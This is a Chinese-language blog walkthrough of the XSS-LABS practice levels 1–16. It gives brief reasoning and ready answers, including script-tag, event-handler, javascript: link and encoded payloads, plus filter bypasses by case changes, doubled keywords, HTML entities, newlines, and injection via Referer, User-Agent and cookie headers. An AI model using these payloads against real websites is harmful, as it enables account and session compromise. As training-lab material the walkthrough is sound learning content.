XSS-LABS通关(纯答案,弱思路)

我的解题思路

  在可以输入数据的地方输入一些数据,看看源代码的那里可以找到他们,在输入一些字符看看有没有被过滤,最后观察源代码思考渗透手段。

level1

在URL的?name=后输入答案

<script>alert('a')</script>

level2

首先在输入框中输入后点搜索,发现没用,按F12查看源代码。
源代码:<input name="keyword" value="<script>alert('a')</script>">,发现这个地方没有任何过滤
所以这么改,在value="后输入">使其闭合,并在">前面添加//将其注释

<input name="keyword" value=""><script>alert('a')</script>//">

最后将答案"><script>alert('a')</script>//复制提交

level3

首先还是按照level2的思想,输入'"><看看有没有被过滤,发现"<>被实体化成了 &quot;&lt;&gt;
所以想到用HTML事件来解决
onblur()为例,onblur 在元素失去焦点时触发。Onblur 通常用于代码验证(当用户离开表单输入域时)。
答案' onblur='alert(/xss/)
注意:这里要用 ’ 去闭合value属性(自己去试)!

level4

思路与level3一样(自己去试)!
答案" onblur="alert(/xss/)

level5

首先还是按照同样的的思想,输入'"><看看有没有被过滤,发现"<>没有被过滤。发现过滤情况与上一关很像,于是复制上一关代码,发现变成"on_blur="alert(/xss/)。这是因为它过滤了以on开头的HTML事件,所以想到可以用javascript伪协议(自行科普)。
答案"><a href="javascript:alert(/a/)">Zedex</a>,记得点击Zedex。

level6

观察,然后输入level5的答案,查看源代码发现href被过滤成了hr_ef,所以考虑大小写绕过。
答案"><a hRef="javascript:alert(/a/)">Zedex</a>

level7

观察,然后输入level5的答案,查看源代码发现hrefscript被过滤了,所以考虑双写绕过,注意hrefscript不能直接写在后面不然就达不到双写绕过的效果。

答案"><a hrhrefef="javascscriptript:alert(/a/)">Zedex</a>

level8

观察,输入'"><看看有没有被过滤,查看源代码发现"被过滤了.
点击友情链接发现URL上会带有你输入的内容,所以试一下javascript伪协议,发现被过滤成了javascr_ipt,于是想看看能不能大小写绕过,不行,于是想着用编码的方式,我用的是burp自带的。我试了之后发现HTML编码是可以的。因为HTML在前端是可以被识别的,浏览器会自动给你解码。
答案&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x61;&#x2f;&#x29;

level9

查看源代码发必需要带http://,所以考虑用http://+编码伪协议。但伪协议又不能放在http://后面,所以把http://放后面并注释掉
答案&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x61;&#x2f;&#x29;//http://

level 10

隐藏表单,有兴趣的话找找其他详细点的文章,这里只提供答案。
答案:把URL中的keyword换成t_sort并在等号后面加上'" onblur='alert(/xss/)' type="text" //,记得刷新一下页面。

level11

查看源代码发现他会把Referer:后的信息添加到value里面
答案:用Burp拦截这个页面的请求,然后发送到Repeater里,在Repeater里添加Referer:'" onblur='alert(/xss/)' type="text" //,然后右键->Repeater in browser->In orginal session,copyURL在浏览器里复制粘贴,记得关闭burp的拦截!
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

level12

思路与level11相同只不过这次是User-Agent:后的信息
答案:与level11相同操作,只不过将User-Agent:后添加'" onblur='alert(/xss/)' type="text" //

level13

查看源代码发现value里面传得是是cookie里面的值,直接在浏览器中修改cookie的值。
答案'" onblur='alert(/xss/)' type="text" //,要把这个值放在cookie里。

在这里插入图片描述

level14

14关网址现在已经不能用了,所以跳过喽。
在这里插入图片描述

level15

查看代码发现src里的值会被include包含,所以思路是引入level1.php并用相应事件来解决
答案src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

空格绕过,发现会过滤掉你输入的空格,所以考虑用换行符%0A代替空格,这在HTML中是合法的。
答案keyword=<img%0Asrc=1%0Aonerror=alert(1)>

level 17 &18

因为该插件在火狐里用不了,略略略!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值